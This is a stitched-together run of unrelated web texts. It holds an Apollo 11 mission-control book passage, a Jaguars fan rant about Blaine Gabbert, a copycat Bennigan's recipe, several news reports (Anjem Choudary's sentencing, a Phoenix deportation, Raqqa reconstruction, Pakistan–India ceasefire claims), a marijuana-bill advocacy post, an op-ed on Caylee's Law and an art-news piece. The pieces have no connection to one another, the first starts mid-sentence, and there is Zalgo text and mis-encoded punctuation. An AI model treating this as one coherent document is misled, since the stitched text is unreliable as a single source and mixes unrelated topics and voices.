insure that humans would make the final call where computers failed. By July 5, the Apollo 11 crew had deployed to the Cape and the White Team was training with the Apollo 12 crew. They had nailed six tough simulations, boosting their confidence. The 12 prime crew switched places with their backup crew. This would be the final simulation before Launch Day and Kranz’s mind was already on the bits of business he had to take care of before the launch. It turned out to be a mistake. SimSup had “Case Number 26” loaded into the simulation computers and told his men, “OK, gang, let’s see how much they know about program alarms.” The GUIDO, Steve Bales, spotted a 1201 alarm on his readouts. He had to look it up in an index file. “1201-Executive Overflow-No vacant areas.” For some reason, the computer was receiving more data than it could handle and had gone through a restart cycle. Mission rules told him nothing, so he checked with his computer expert. “It’s a BAILOUT alarm. The computer is busier than hell and has run out of time to get all the work done.” Still clueless, he watched the computer go through some more restarts. He had to make up his mind. “Flight, Guidance. Something is wrong with the computer. I’ve got a bunch of computer alarms. Abort the landing, abort!” Kranz passed the abort command along to CapCom and it was executed perfectly. Dick Koos told them, “That was not an abort. You should have continued the landing.” He skewered both Kranz and Bales for the mistake. It was a lousy way to finish the team’s training. Steve Bales was embarrassed and frustrated. He promised Kranz that he would find out what he could and went off to make phone calls to MIT, which had developed the software. By the end of it, they had a new mission rule listing the program alarms that would trigger an abort. Neither 1201 or 1202 were among them. Launch of Apollo 11 Gene Kranz was up before sunrise on July 16, 1969. He was even more psyched this day than he was on most launch days and all his wife could do was pack him a lunch and boot him out the door. Once he was in the control room, he only betrayed his nervousness with the constant clicking of his ballpoint pen and sweaty palms that made pages from the logbook curl up. For all that the other flight directors teased him about it, none of them could deny that they were tense today, as well. Chris Kraft was sitting at the back of the room and kept asking Charlesworth about the status of the countdown. Charlesworth finally threatened to have him kicked out of the control room if he didn’t cool it. This was one of the few times when a flight director could talk back to his boss and Kraft desisted. At first, the launch could have been just another simulation if it wasn’t for the presence of luminaries like Bob Gilruth and the MCC’s in-house PR representative, Jack Riley. Riley kept up a running commentary for the benefit of reporters outside the control room and, when Kranz overheard him saying something about “lunar landing mission,” it sank in. They were finally going the rest of the way and only Neil Armstrong, Buzz Aldrin and Michael Collins had better seats than the people in the control room. Charlesworth stayed on duty until after the trans-lunar injection, and then Kranz took over. The crew went into their first sleep cycle during Kranz’s shift and his team only had to keep track of any funnies. He made notes and everything went smoothly for the next few shift rota
-Blaine Gabbert ruined my life. If you're also a fan of the Jaguars, he ruined yours too.  In 2010, in the first half of the season, the Jaguars were red hot. The running game was nothing to be joked about with the re-emergence of Vince Manuwai and steady play from MJD, who was in his prime.  Then, it happened: the team fell apart. Jones-Drew lost a few steps to an injury. The hot David Garrard flamed out and threw a season-ending interception over Jason Hill's head against the Colts.  Quarterback remained an issue for the Jaguars. Fans were fed up. Leading up to the 2011 draft, a lot of speculation about the Jaguars taking a QB arose. Rumors circulated.  "Dalton seems like a Gene guy" said Vic Ketchman  "Kaepernick is a guy with a Vince Young-like skillset" said Gene Smith  "Trade for Tim Tebow!"  "Ryan Kerrigan is their guy"  Me, personally? I wanted Kaepernick or Locker. I wanted a quarterback. I wanted a guy to shut the "they need Tebow!" people up. I wanted a guy who wasn't going to throw an interception to the wide-open Jason Hill. I didn't need Peyton Manning, I just wanted a decent Flacco-level player.  Draft day came. The Jaguars traded out of overall 16 to move up to overall 10.  Blaine Gabbert!  Me, 2011: "It' not so bad. I mean, some figured he'd go to the Panthers #1 overall!"  Me, 2014: "M͢ͅY̥̝͉̙ ̰̘̮ͅS̨͎̝Ǫ̜̦U͇̱̼̮̤L͙͈̼̜̻ ̯̙R̡ͅE̮͚̫̟͈̭L̰͕̲̤̻̠͓U̱̯C̳͘T̬͓̣̬̩͓͉̕À̪̗͈N̢̖̬͓̖T͓͈͙͍͎̹͙͞L̡͍͕͔͖Y͕̠͇͝ ̫̩̭ͅF̳̭͙̘͇LA̛̩ͅM̪͔̪E̮̝͖̫̰S̴̫ ͖̲̰̘̤O̷̤̱N̷̖̦͉̟̜̞"  Enter Blaine Gabbert  Blaine Gabbert SUCKED. Did I mention he ruined my life? I was in my first year of college when he was drafted. My first micro econ test after? I got a D(This was dropped and I ended up making a B in the class but still). Speech class? I almost fell asleep during my first speech.  Here's a list of some of the things that happened after Blaine Gabbert entered the NFL:  My school performance dropped  My grandpa died  Community was canceled  Kid Cudi regressed  I drafted Ray Rice despite his suspension on accident in a fantasy league  Mike Mularkey  Chris Prosinski  The Jaguars in general were really bad  How could you be such a horrible person? At least Ben Roethlisberger is a good quarterback. If Blaine Gabbert wasn't running out of the pocket for NO REASON AT ALL, he was throwing a 3 yard checkdown to the fullback on 3rd and 10 like an asshole. After the first year of Gabbert, I was like "well hey, nowhere to go but up from here." NOPE. NOPE. SOMEHOW BLAINE GABBERT REGRESSED EVERY YEAR. One thing that kept us in some games was the fact Blaine Gabbert had consistently low INT totals.  That stopped happening. His last year with the Jaguars, Blaine Gabbert threw 1 TD and 7 interceptions. SEVEN. ONE TO SEVEN RATIO.  I didn't expect Tom Brady. I just wanted an OK quarterback. Hell, I wanted a top 30 quarterback so we could shut the Tebow-stans up. NOPE. The Jaguars could have signed a football-launching machine and did better.  And what's with the ghosts!? Was Blaine actually the little kid from Sixth Sense who could see dead people?  Was this the hint we needed to avoid this walking catastrophe?  Why did he block most of the fanbase on twitter?  WHY IS HE SO BAD?  "He just had an impossible situation"  GO TO HELL. What did you want the Jaguars to do? Hire ghostbusters? Re-wire his brain? Hypnotize him? Make him into a cyborg and control him with a remote? He had the EXACT SAME problems in college. He ran out of the pocket on a 3-man rush constantly and threw checkdowns to fullbacks there too.  Pictured above: The Jaguars properly easing Gabbert into the NFL  HE'S GONE  HE'S WITH THE 49ERS NOW. AND WE DRAFTED BLAKE BORTLES TO REPLACE HIM. 49ER FANS BETTER HOPE KAEPERNICK STAYS HEALTHY. IF A SPACESHIP CAME OUT OF NOWHERE AND CRASHED INTO KAEPERNICK AND LEFT NOTHING BUT HIS ARM THE 49ERS SHOULD KEEP HIM IN THE GAME OVER BLAINE GABBERT.  How did Blaine Gabbert ruin your life? Please post how in the comments below.
-Recipe: Bennigan's Broccoli Bites  I found this recipe on Food.com and it's a keeper. I try to put all of my notes in red.  Broccoli Bites  3 eggs  6 ounces shredded colby cheese  6 ounces shredded monterey jack cheese  1 (16 ounce) boxes frozen chopped broccoli, thawed,drained,and dried ( I used fresh. I just steamed it and cut it very finely and it worked great.)  2 1/2 ounces hormel real bacon bits ( I fried up my own bacon and chopped it into small pieces.)  1/2 ounce diced yellow onions  1 ounce all-purpose flour (For GF, I used brown rice flour)  Italian breadcrumbs, as needed (For GF, I used Glutino Crackers, finely crushed)  Honey-Mustard Dipping Sauce  3/4 cup sour cream  1/3 cup hellman mayonnaise  1/3 cup Dijon mustard  1/3 cup honey  1 tablespoon lemon juice, plus  1 teaspoon lemon juice  Directions  Drain thawed broccoli by pressing through a strainer.  Dry well with paper towels.  In a mixing bowl, beat eggs with a whisk until well-blended.  In a large plastic container, place all ingredients except bread crumbs.  Add beaten eggs.  Stir together with a spatula until thoroughly combined.  Refrigerate for 1 hour{This will bind the mixture together}. ( I tried to skip this part and it worked but was very difficult for them to stay together. If you have the time, I would strongly recommend this step.)  Meanwhile, make dipping sauce.  In a medium bowl, combine sour cream, mayonnaise, and Dijon mustard.  With a whisk, blend mixture thoroughly.  Slowly pour in honey and lemon juice and continue mixing until smooth.  Cover and refrigerate until ready to use.  Heat about 4 cups of oil in a deep fryer or deep pan at 350°F.  Pour bread crumbs into a shallow pan.  Remove mixture from fridge and form portions into 1 inch balls and coat well with bread crumbs.  Place Broccoli Bites into fry basket or pan.  Make sure they do not stick together.  Fry one minute, then remove and place on paper-towel lined plate to absorb excess oil.  Serve hot with Honey-Mustard Dipping sauce.  Note; These are best kept warm so you may want to use a chafing dish or even a slow cooker set on"low" for serving.  I started off my "working" career in the restaurant business. My Mom owned a restaurant in a very small town named Kernville in California. You may have heard of the Kern River, it is quite famous for kayakers, the windy road to the valley and it's beautiful drive.I remember starting off washing dishes, then waitressing and then doing a little bit of cooking. I was very young, maybe 9 when I started. We moved and my Mom bought another restaurant, and then another and so on. She always had a key to a restaurant for as long as I could remember.It was definitely a family affair. We all worked there: my Mom, my Sisters, my cousins, my Grandparents...you know the kind of place. One minute we were friends and family and the next you could hear us yelling in the back ground because someone forgot the right toast.We loved it, we tired of it, we worked ourselves to the bone, we loved it some more and then we promised ourselves we would never work in a restaurant again...LOL AND start all over the next day with the same zeal and statements.It's hard work. You never have a holiday off. Yet, this is the only thing you know. You miss it when you are away. You miss the people, our "regulars" became family. We knew everything about them...the good, the bad, the happy and the sad. In many cases, we were there only family. They remembered our birthdays and we never forgot theirs.I love the restaurant business but I know that I never want to own a restaurant. It's just too much work, When I left high school, got married and moved to Austin, TX I needed a part time job. Oh, I tried the office thing...boring! I tried the stay at home thing....boring! YEP, you guessed it...I found a part time job waiting tables and I felt like I had returned home. In a few short years, I was approached to by a manager. I agreed and it was fun while it lasted. I did not have kids then and my hubby was in the military. He was gone a lot and so this kept me very, very busy. Some weeks we worked 80+ hours. It was crazy! It was fun! Bennigan's had a great menu and you may have remember me talking about this before with the Monte Cristo Sandwiches This recipe is one that I found on the internet. Bennigan's used to sell these delicious Broccoli Bites. I tend to dwell on things for years and it never occurred to me until the other day to google for the recipe. I found this posting and had to try them and they were really good. In fact, I made a small batch (to test the recipe) and the next day made a double batch. YUM!My only recommendation is that if you double the recipe, double everything…especially the cheese. If the cheese is off then your bites will be dry and not cheesy. We loved these little morsels of heaven…ENJOY!About This Recipe, from the author (unknown)"If you've ever been to Bennigan's, you may have enjoyed this wonderful appetizer. We go there quite often for them. They're basically a blend of broccoli, cheeses, bacon, and onion, rolled in bread crumbs and deep-fried. They are then dipped in a special honey-mustard sauce. This is a copycat recipe from the website Recipe Goldmine and it's right on the money! They're very easy to make and if you want to WOW your party guests with something deliciously different, by gosh- this'll do it!"Ingredients
-LONDON — Anjem Choudary, one of Britain’s best known Islamist activists, was sentenced on Tuesday to five years and six months in prison after having been convicted in July of encouraging support for the Islamic State.  Mr. Choudary, 49, had been found guilty of promoting the Islamic State, also known as ISIS or ISIL, in speeches and messages posted online, which is a crime under Britain’s antiterrorism laws.  Mohammed Mizanur Rahman, 33, an associate of Mr. Choudary’s, received the same sentence. Along with Mr. Choudary, Mr. Rahman was convicted on July 28 of having violated British laws after a four-week trial at the Old Bailey, London’s central criminal court. The verdict was not announced until mid-August for legal reasons.  Mr. Choudary’s supporters shouted the Arabic phrase “Allahu akbar,” or “God is great,” as he was sent to jail in London.
-Seven protesters were arrested outside a Phoenix immigration center after blocking a van that carried Guadalupe García de Rayos, an undocumented mother of two from Mexico who was taken into custody and issued an order of deportation at her regular check-in. (Reuters)  Seven people were arrested Wednesday night in Arizona as they attempted to block the deportation of Guadalupe García de Rayos.  Rayos, as the New York Times reported, is a citizen of Mexico who has been living in the United States without documentation since 1996. Over that period, she had two children, both American citizens. She was arrested in 2008, the Los Angeles Times reported, after she was found to be working illegally at an amusement park in Mesa, Ariz.  In 2013, the Department of Justice issued a removal order for Rayos, but she was allowed to remain in the country with the stipulation that she checked in with the Department of Homeland Security’s Immigration and Customs Enforcement every six months. During that regular visit Wednesday, she was detained, and the government began deportation proceedings. As a van carrying Rayos left the facility, protesters blocked its progress, resulting in the arrests.  A protester locked himself to the van carrying Guadalupe Garcia de Rayos outside the Immigration and Customs Enforcement facility Wednesday in Phoenix. (Rob Schumacher/Arizona Republic via Associated Press)  This scenario — a parent who’d lived in the country for decades suddenly facing deportation — is one that President Trump’s opponents imagined becoming far more common were he elected. This is both an isolated incident and an example of something that’s happened with regularity over the past several decades. Former president Barack Obama’s proposed protection program announced in November 2014 would probably have protected people in situations like Rayos’s, though, as would his executive order directing ICE to prioritize immigrants with criminal backgrounds.  Trump, though, has promised a much wider net. His executive order, signed five days into the job, included a determination that administration policy would be to “remove promptly those individuals whose legal claims to remain in the United States have been lawfully rejected, after any appropriate civil or criminal sanctions have been imposed.” An attorney for Rayos said on a conference call that Sen. John McCain (R-Ariz.) sought to intervene on her behalf, but the power lies with the executive branch.  The Los Angeles Times looked at Trump’s order and estimated that some 8 million people might be subject to deportation under its strictures. We were curious how many might be subject specifically to the scenario Rayos faced: complying with instructions to check in with ICE only to be deported under an outstanding order.  #GuadalupeGarcia attorney says @ICEgov has lied to him and he will advise future clients to seek sanctuary in churches. — Julio Ricardo Varela (@julito77) February 9, 2017  As it turns out, that’s a very hard number to estimate, thanks to the murky way in which such orders are issued — and thanks to foot-dragging from the government.  Susan Long is co-director of the Transactional Records Access Clearinghouse (TRAC) at the Syracuse University and a faculty member of the Whitman School in Management. TRAC compiles detailed data on immigration that it has received from Freedom of Information Act (FOIA) requests from the government. That includes data on removal orders from immigration court and the actual number of people removed or returned each year. (There’s a distinction between those two things; the former is what we generally think of when we think of deportations.)  Those data, for the years available, look like this.  What we might expect to see is that the number of orders is larger than the number of removals. After all, we’re considering a situation in which a person with a standing deportation order hadn’t yet been removed. But instead the data indicate far more removals than orders over the past decade or so. (The numbers are calculated by fiscal year, and numbers for 2016 and 2017 are incomplete.) One reason is that the same people can be removed multiple times — but that’s not the main reason.  If your assumption is, instead, that this is because ICE removed people under years-old orders, that’s incorrect, according to TRAC’s Long. When I told her I was hoping to figure out how many outstanding orders there were, she laughed.  “Increasingly, removal orders bypass the immigration court,” she explained. In a nutshell, that’s why the numbers in the chart above appear to be flipped: Many orders for removal don’t go through immigration court at all; instead they’re being issued through the Department of Homeland Security.  “That obviously poses some challenges,” she said with understatement. Determining how many additional orders have been issued requires getting that data from the government, which TRAC has tried to do.  “ICE contends — I’m sure it’s false — that they can’t identify the source of the removal orders,” she said of my question about how non-court orders have been issued. As for the grand total of non-court orders? “I’m not sure ICE actually knows, itself,” she said. We’re talking about years of orders that may or may not have been appealed, for example, which can be hard to track down.  ICE, in Long’s experience, has little interest in doing so anyway.  “It’s taken hundreds of requests and litigation” to get the information they have, she said, noting that they’ve been involved in a long-standing lawsuit against the agency. “Now they’re refusing to release information that would allow you to update this,” she said — an obstruction that began in the last few months of the Obama administration. “They contend that what they released in the past was voluntary and while they don’t contend that these things are exempt [from FOIA], they aren’t providing them.”  A call to the Department of Homeland Security was not returned.  “It’s really a problem to monitor what’s going on in any sort of comprehensive way, because of the unwillingness of the agency,” Long said. “It isn’t interested in transparency.”  As this story was being written, reports emerged that Rayos had been deported. If so, she may be the first of thousands more — though the number of thousands that should go in that sentence is impossible to determine from outside the walls of the U.S. government.
-INSIDE OUT in Bellingham: Every Photo on the Roll.  By Dave Larson  It was the best show I have ever seen.  Saturday, April 7th, 1990. The show was scheduled to happen at The Star Club, an all ages venue in downtown Bellingham that occupied a space on Cornwall avenue that had previously housed a dance club called The Vortex. Something went wrong with that location, and a quick substitution had to be made. Bill Baker offered his grandmother’s single car garage as an alternative, and as crazy and unrealistic as that might sound, it ended up being the only option. Ron Guardipee had booked the show, and he said they could do the garage as long as we could find a way to guarantee the bands from out of state $200. We really wanted this show to happen, so four of us put up $50 each with the idea that we would try and find a way to charge people at the show, but the balance owed would come out of what we had put in. It was myself, Val Wonder, Brian Van Kleeck, and Randy Clark who put up the cash. In the end we all ended up paying a little more than everyone else. I can’t remember the exact amount. After this show, I didn’t care.  The bands that played that night were EXTREMITY, RESOLUTION, FORCED DOWN, and INSIDE OUT.  Bill Baker sang for EXTREMITY. At least one photo of them playing that night exists. You can see it on the page for Bill’s episode of the “I’ve Known You Too Long” podcast if you scroll down into the photos (CLICK HERE). I don’t know who took that picture and I don’t know where the roll of film it came from ended up.  There are also black and white pictures from this show. I have some of those physical photographs, but I do not have that roll of film either. I can not remember who shot them.  When Bill was done with the EXTREMITY set he grabbed his camera and shot a 36 photo roll of color film over the course of the next three sets. Many of those photos, mostly of INSIDE OUT, have shown up in various ‘zines and on social media over the years. But not all of them. Film developing was expensive, and not all of the photos saw the light of day.  So here they all are, in order off the roll:  RESOLUTION.  The first batch of photos features shots of this post-BROTHERHOOD Seattle Hardcore band featuring Ron Guardipee on vocals and SUNNY DAY REAL ESTATE’s Dan Hoerner on guitar.  FORCED DOWN.  An amazing San Diego Hardcore band. I was once threatened for wearing one of their shirts. Not because it offended the person, but because they wanted it. They said they had considered jumping me to steal it.  I still have the shirt. I bought it at this show.  A quick break outside the house:  INSIDE OUT.  This band featured Zack de la Rocha (HARDSTANCE, RAGE AGAINST THE MACHINE) and Vic DiCara (BEYOND, SHELTER, 108).  I believe Chris Bratton is playing drums here, and Mark Hayworth on bass.  These days we document everything. We have digital cameras at our fingertips at all times. When something incredible happens, it gets recorded, and we all see it in our various feeds. That was not the case back in the days of poor punk kids trying to scrape together whatever they could to make cool things happen. We were just lucky that there was a camera and a guy with a bit of skill at this show. Without that this would just be a story that people would doubt was true, or at least wasn’t as incredible as the handful of people who experienced it have claimed.  But it was.
-BEIRUT (Reuters) - A Saudi official has visited northern Syria with a U.S. envoy to discuss reconstruction of Raqqa, which Kurdish and Arab militias backed by a U.S.-led coalition, captured from Islamic State on Tuesday, an adviser to the militias said.  A fighter of Syrian Democratic Forces stands amidst the ruins of buildings near the Clock Square in Raqqa, Syria October 18, 2017. REUTERS/Erik De Castro  Saudi Gulf Affairs Minister Thamer al-Sabhan visited the area with Brett McGurk, the U.S. special envoy to the coalition against Islamic State, and met the Raqqa Civil Council said Amed Sido, an adviser to the Syrian Democratic Forces (SDF) alliance.  The Saudi Okaz newspaper also reported on Thursday that Sabhan had visited northern Syria and that Riyadh and Washington had discussed the reconstruction of Raqqa.  Saudi Arabia is a member of the U.S.-led international coalition against Islamic State, set up in 2014, but no senior officials from Riyadh are known to have visited areas held by coalition allies in Syria.  Saudi Arabia’s Foreign Ministry was not immediately available for comment.  The SDF’s four-month battle against Islamic State in Raqqa, aided by coalition air strikes, left much of the city in ruins and forced much of its population to flee to camps nearby. International charity Mercy Corps said on Thursday that most of the city was uninhabitable.  The SDF and its allies set up the Raqqa Civil Council to run the city after the fighting was over.  The international coalition’s 73 members also include European countries, other Arab countries and Turkey. Its work includes supporting stabilization and restoration of public services to areas taken from Islamic State militants.  The Saudi officials who visited Raqqa to check the area were there to listen to discussions rather than take part, Sido said, adding that they met a reconstruction committee set up by the council.  “They promised that they would contribute in construction in Raqqa in the future,” Sido said. Sido is also an SDF coordinator with the coalition.  The main priority for the city’s reconstruction now is clearing landmines and bodies, and working on water and electricity projects, Sido said.  While no concrete plans were set in motion, Sido continued, “we consider it a first visit, a first step, that could be the beginning of future relations”.
-When the regular season schedule was unveiled, it looked as though the Rams drew a short straw in Week 1 with Andrew Luck and the Colts coming to town. Fast-forward a few months and the Rams actually caught a break by facing Indy in the season opener.  Starting center Ryan Kelly has already been ruled out for the game with a foot injury, Andrew Luck isn’t certain to play as he’s still recovering from shoulder surgery and now the Colts will likely be without their top cornerback, Vontae Davis.  Head coach Chuck Pagano said on Tuesday that Davis has a “significant” groin injury and will miss multiple weeks.  Pagano said Vontae Davis has a "significant'' groin injury and is week to week. Will not require surgery at this time. — Bob Kravitz (@bkravitz) August 29, 2017  With the season opener less than two weeks away, one can assume he won’t be ready by then. That should make the lives of Sammy Watkins, Robert Woods and Tavon Austin much easier to open the season.  Needless to say, Sean McVay couldn’t have asked for a more favorable matchup to kick off his head coaching career, assuming these three players are sidelined. Then again, the Browns are probably still a worse team than the Luck-less Colts.
-Pakistan on Thursday summoned India’s Deputy High Commissioner J P Singh over alleged “ceasefire violations” by Indian troops along the Line of Control (LoC) which resulted in the killing of two civilians. Director General (South Asia and SAARC) Dr Mohammad Faisal summoned Singh and “condemned the unprovoked ceasefire violations” by the Indian forces, the Foreign Office said. The firing in Phulian sector yesterday killed two persons including a woman and injured three others, it claimed. The Foreign Office said that despite calls for restraint, India continues to indulge in ceasefire violations. “The deliberate targeting of civilians is indeed deplorable and contrary to human dignity and international human rights and humanitarian laws,” it said.  Advertising  It said Dr Faisal urged the Indian side to respect the 2003 ceasefire arrangement, investigate this and other incidents of ceasefire violations, and instruct the Indian forces to respect the ceasefire in letter and spirit and maintain peace along the LoC and the Working Boundary.  He also urged the Indian side to allow the UN Military Observer Group in India and Pakistan (UNMOGIP) to play its mandated role as per the UN Security Council resolutions.  India maintains that UNMOGIP has outlived its utility and is irrelevant after the Simla Agreement and the consequent establishment of the Line of Control.  Advertising  The Foreign Office also accused India of committing more than 700 ceasefire violations this year which resulted in the killing of 32 Pakistani civilians.
-Two new Congressional Bills have just been introduced that will, if passed, END THE FEDERAL PROHIBITION OF MARIJUANA!  Bill One:  H.R.1227 Ending the Federal Marijuana Prohibition act of 2017  https://www.congress.gov/bill/115th-congress/house-bill/1227/  Click here to download the PDF version  This bill has bipartisan support and was introduced by republican Rep. Thomas A Garret, Jr of Virginia [R-VA-5]. So far, it has been cosponsored by:  Rep. Tulsi Gabbard [D-HI-2]  Rep. Scott Taylor [R-VA-2]  Rep. Jared Polis [D-CO-2]  Rep. Earl Blumenauer [D-OR-3]  Rep. Don Young [R-AK-At Large]  Rep. Justin Amash [R-MI-3]  Official Title as introduced:  “To limit the application of Federal laws to the distribution and consumption of marihuana, and for other purposes”  Bill two:  H.R.975 – Respect State Marijuana Laws Act of 2017  https://www.congress.gov/bill/115th-congress/house-bill/975  Click here to download the PDF version  This bill also has bipartisan support and was introduced by republican Rep. Dana Rohrabacher of California [R-CA-48]. So far, it has been cosponsored by:  Rep. Cohen, Steve [D-TN-9]  Rep. Young, Don [R-AK-At Large]  Rep. Pocan, Mark [D-WI-2]  Rep. Yoho, Ted S. [R-FL-3]  Rep. Blumenauer, Earl [D-OR-3]  Rep. McClintock, Tom [R-CA-4]  Rep. Titus, Dina [D-NV-1]  Rep. Hunter, Duncan D. [R-CA-50]  Rep. Polis, Jared [D-CO-2]  Rep. Amash, Justin [R-MI-3]  Rep. Lee, Barbara [D-CA-13]  Rep. Massie, Thomas [R-KY-4]  Rep. Coffman, Mike [R-CO-6]  Rep. Welch, Peter [D-VT-At Large]  Official Title as introduced:  “To amend the Controlled Substances Act to provide for a new rule regarding the application of the Act to marihuana, and for other purposes.”  FANTASTIC! HOW DO I GET INVOLVED?  Please contact your representative! Just enter your zip code, click your representatives name and you’ll be taken to their website. All of them have a contact button, click that and let your representative know you want them to support state rights and defend his or her constituents voice.  Alternatively, there’s another little known trick, YOU CAN TEXT YOUR ZIP-CODE to 520-200-2223 and it will reply with your representatives names and phone numbers!  Phone calls are best, letters next, then e-mails! If you can, please call them!  For people who don’t know what to say here’s a quick draft below:  “Hello Congress(wo)man [REPRESENTATIVE-NAME-GOES-HERE],  I am a constituent in your district and I am writing to ask you to stand up for me and the 59 percent of Americans who support full marijuana legalization, and the 71 percent who believe that states, not the federal government, should set marijuana policy.  Cannabis is a job creator and a multi billion dollar industry. Please, this is not a partisan issue, this is a state and democracy issue. We cannot allow the federal government to jail citizens for something they voted to legalize. We can’t ignore the needs of those who haven’t had that opportunity yet or depend on it for medicinal purposes.  States are meant to be democracy laboratories and by allowing the federal government to override the will of the people we are destroying the democracy experiment. I urge you to please support H.R. 975 – Respect State Marijuana Laws Act of 2017, and H.R.1227 – Ending Marijuana Prohibition Act of 2017.  Thank you for taking the time to listen to one of your constituents and supporters”  If you chose to e-mail you can select ‘Health’ ‘Social Issues’ or ‘Other Issues’ as the topic, all should be an option for every congressman.  Many of you at times may have thought, how can I help? Well this is one of those ways. This one thing will take you a couple minutes and when you’re old you can tell your grandkids that you helped fight prohibition and you let your voice be heard.  PLEASE SHARE THIS POST FAR AND WIDE ACROSS YOUR SOCIAL MEDIA ACCOUNTS! The more people that become aware of this bill the better chance it has of passing. The main stream media is not picking this up. The citizens of this country must advocate for themselves to do what is right and urge members of congress to get this passed.  THANK YOU!
-Legislation fueled by populist anger over bad legal cases often becomes the subject of maudlin and mediocre Lifetime movies, but it�s seldom a good idea in real life.  Such is the case with Caylee�s Law, a hugely popular push that would make it a federal crime for a parent or guardian not to quickly report the disappearance or death of a child.  More than 1 million people have signed a petition on Change.org that would make it a felony if parents fail to report the death of a child within an hour, or fail to report a missing child within 24 hours. The petition is the most successful campaign in the site�s history. Lawmakers in more than a dozen states, backed by voter support, have introduced similar bills.  The frenzy, of course, stems from the already notorious verdict in the case of Casey Anthony, who was acquitted in the murder of her 2-year-old daughter and will be released from prison next week, even though a feral cat would make a better mother than she would. Americans were outraged by the verdict and rightly so, but creating a new law as an outlet for that outrage is misguided.  But it�s not unusual, even though laws named after dead children are often a bad idea and infamous for having unintended consequences. Consider �Megan�s Law,� which was named for 7-year-old Megan Kanka, who was abducted and killed by a convicted sex offender who had moved in across the street. The well-meaning law mandated that information about sex offenders be made available to the public, and it passed in the wake of fear after that crime.  While Nancy Grace claimed that the �devil is dancing� over the Anthony verdict, he�s also lurking in the details of such bills. Studies show that Megan�s Law doesn�t reduce recidivism by sex offenders, although it adds thousands of low-risk offenders to the registries. In August of 2009, The Economist published a critical look at �named� legislation and concluded the following:  �[H]arsh laws often do little to protect the innocent. The police complain that having so many petty sex offenders on registries makes it hard to keep track of the truly dangerous ones. Cash that might be spent on treating sex offenders � which sometimes works � is spent on huge indiscriminate registries. Public registers drive serious offenders underground, which makes them harder to track and more likely to re-offend. And registers give parents a false sense of security: Most sex offenders are never even reported, let alone convicted.�  But most politicians are less concerned with details than with appearing soft on crime, so few dare to vote against laws named after crime victims, especially dead ones.  Yesterday, Worcester County District Attorney Joseph D. Early Jr. said he was worried about a �rush to judgment� in regards to Caylee�s Law. Formerly a lawyer in private practice, he raised issues of enforcement and other pertinent questions: Must the parent have knowledge that the child is missing? Should the parent have known? How would the law affect visitation cases in probate court, in which a child isn�t returned on time to a parent? Would it create an unacceptable burden on police? When does the clock start on a missing child?  �People�s emotions are running so high right now,� Early said. �Is this a reaction to everyone�s anger and outrage? This bill could be called the �We�re Furious She Got Away With It� law. We have to give this time before rushing something through. We have an awful lot of safeguards with regard to children. We want to vet this carefully. We have to get it right.�  Activist Michelle Crowder of Oklahoma is pushing Caylee�s Law, and she admitted that she didn�t consult with any law enforcement professionals before developing it. But she likely watched the Anthony trial, in which it was revealed that the search for little Caylee began after 31 days only after her grandmother � not Casey � called police.  �Abandoning a child is illegal. Abuse is illegal,� Crowder told The New York Times. �But not reporting a child missing is somehow OK?�  She makes a good point, but so does Early. If Caylee�s Law is an emotional reaction to the little girl�s death, it�s too late to affect the case it was crafted for. The overwhelming majority of parents don�t need a law to compel them to report a missing child. Those who do will likely not be deterred by the threat of a felony, just as men intent on killing their wives or girlfriends aren�t deterred by the threat of a restraining order.  �It�s just more bad after bad,� said Early, and he�s right. Despite their best intentions, those seeking the elusive �Justice for Caylee� won�t find it in a federal law, especially one based on emotion rather than reason.
-If capitalism is slowly on the outs, as some economists and theorists say it is, should there be a museum to preserve its artifacts? The Museum of Capitalism (MOC), an aspiring institution at the very earliest phase of development, opens its first exhibition this month in a disused warehouse in Oakland, California. Its ambitious goal is to educate future generations about the economic system’s “ideology, history, and legacy,” per its mission statement, in the vein of history museums and so-called museums of conscience.  Headed up by the artist duo FICTILIS (Andrea Steves and Timothy Furstnau) and supported by a $215,000 grant from the Emily Hall Tremaine Foundation, its debut exhibition is to be housed in a temporary space in Oakland’s post-industrial Jack London Square, an area with multiple vacant warehouses. The artist list, totaling a whopping 83, includes members from around the globe.  “Fredric Jameson supposedly once said that it’s easier to imagine the end of the world than the end of capitalism,” said Steves in a phone interview, “and making capitalism a ‘museum piece’ is partly an effort to help us do just that.” The artists do not purport to be experts on capitalism, and Furstnau said that even experts disagree on the fundamentals. “There are prominent historians, like Wolfgang Streeck, who argue that we are coming out of capitalism, and then McKenzie Wark, who argues that we are now in something worse.”  Among the works in the show are Mexican artist Fran Ilich’s Space Bank/Money Museum (2005–2107), consisting of documentation of what the artist calls a functional alternative banking system. There’s also Dread Scott’s Poll Dance (2010), a series of graphs that riff on systems of classifying people by race, class, and gender. Other works address the vicissitudes of financial institutions: Superflex’s Bankrupt Banks (2012) consists of a set of banners with logos of banks that have declared bankruptcy, while Michael Mandiberg addresses the same theme with a set of tomes on economics, its book covers branded with logos of failed banks. And Blake Fall-Conroy’s Police Flags (2009) shows the parallel symbolism between the red, white, and blue police lights and the colors of the US flag.  Also present will be a video display organized by Austrian artist Oliver Ressler. The work presents political theorists and economists describing various models for alternative economies.  Asked whether an anti-capitalist statement underlies the museum, the artists chose their words carefully.  “To even suggest that capitalism may one day end is, in this country at this moment, seen as anti-capitalist,” Furstnau said. “For us, part of historicizing capitalism is to realize its strong appeal and its unique features. You have to realize both its benefits and where it does harm. We hope that visitors from all sides of that question can come away with something useful.”  Citing the rhetorical question “What is water?,” Steves pointed out that we are swimming in capitalism, and said that the museum aims to offer enough distance from its structures to evaluate them in the first place.  The Museum of Capitalism is the sole recipient of the Emily Hall Tremaine Foundation’s exhibition support grant for 2017, which is now in its 19th year and has previously supported brick-and-mortar institutions like the Institute of Contemporary Art Boston, the Scottsdale Museum of Contemporary Art, and the Contemporary Art Center of New Orleans. It’s the first time the grant has gone to an institution in such a “speculative phase,” as Furstnau characterized it.  Heather Pontonio, program officer at the Emily Hall Tremaine Foundation, told artnet News that “It wasn’t difficult for the jury to pick this as the sole project to receive the exhibition grant this year. The jury was confident that this would be one show that would further discourse in contemporary art. In fact, we had never seen a proposal at this caliber.”  Though it might at first seem like just an uncommonly ambitious pop-up show, Steves, Furstnau, and Pontonio are confident that the museum will have legs. They’re working on plans for a life beyond Oakland and beyond 2017, with temporary exhibitions in New York and other cities, ideally on the way to its own brick-and-mortar home. So while it may be nearly impossible to envision capitalism’s end, the Museum of Capitalism aims to envision its own beginnings.  Follow artnet News on Facebook:
